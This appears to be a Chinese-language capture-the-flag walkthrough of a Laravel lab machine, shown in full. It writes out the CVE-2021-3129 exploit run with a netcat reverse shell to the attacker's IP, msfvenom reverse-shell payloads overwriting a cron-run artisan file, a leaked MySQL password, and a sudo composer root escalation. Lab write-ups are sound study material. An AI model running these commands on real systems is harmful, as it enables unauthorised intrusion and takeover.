Diffculty
medium
scan
1 | [*] ssh found on tcp/22. |
80
点击demo进入demo登录页面
注册一个账号admin:adminadmin, 登录进入后可以上传文件,上传图片后,展示在下方ImageList列表中,点击链接可以查看,尝试把php webshell改成png后台,无法上传成功,同时发现下面的imglist变空了,刚开始以为是上传了恶意文件之后,会自动把所有文件删除,实际上是有定时任务每隔一分钟清除images文件夹下的所有图片。
刷新之前上传的图片页面, 404, 可以看到CMS: Laravel 8.4.0
foothold
searchsploit 搜索 laravel, 发现8.4.2 debug mode下有rce漏洞,先开启debug mode, 开启之后未ENABLED状态,但是代码利用不成功
根据github链接, cve编号是 CVE-2021-3129, 找到 https://github.com/0x0d3ad/CVE-2021-3129
克隆执行利用代码,成功拿到反弹shell
1 | └─$ python CVE-2021-3129.py http://192.168.212.38 --cmd "nc 192.168.45.234 4444 -e /bin/bash" |
1 | rlwrap nc -nvlp 4444 |
上传linpeas执行,发现用户除了roo外还有skunk
1 | ╔══════════╣ Users with console |
发现mysql 凭证
连接mysql, 但是表里都是空的, 只有users中有一个刚刚注册的admin账号
1 | mysql -ulavita -Dlavita -psdfquelw0kly9jgbx92 |
foothold2
上传pspy执行收集定时任务,发现UID=1001定期清理图片文件
文件aetisan所属用户是当前用户,直接 msfvenom -p php/reverse_php LHOST=192.168.45.234 LPORT=80 -f raw -o test.php
生成反弹shell文件,上传后覆盖artisan文件
1 | ls -al artisan |
稍等片刻,得到skunk的shell
1 | rlwrap nc -nvlp 80 |
1 | rlwrap nc -nvlp 80 |
escalation
skunk可以在不需要密码的情况下执行composer, 在https://gtfobins.github.io/gtfobins/composer/找到利用方法,成功获取shell
1 | sudo -l |
1 | echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >/var/www/html/lavita/composer.json |
小插曲: 测试发现php/reverse_php生成的反弹shell文件是无法升级成交互式shell的,看了下payload说明,reverse_php确实没有说是interactive, which perl 查一下机器上perl用 reverse_perl msfvenom -p php/reverse_perl LHOST=192.168.45.234 LPORT=80 -f raw -o test.php
重新生成payload文件,覆盖aetisan, 新获得的shell可以通过 python -c 'import pty; pty.spawn(*/bin/bash")'
升级成交互式shell, composer提权过程需要手动敲一下回车,切换为交互式shell之后才成功。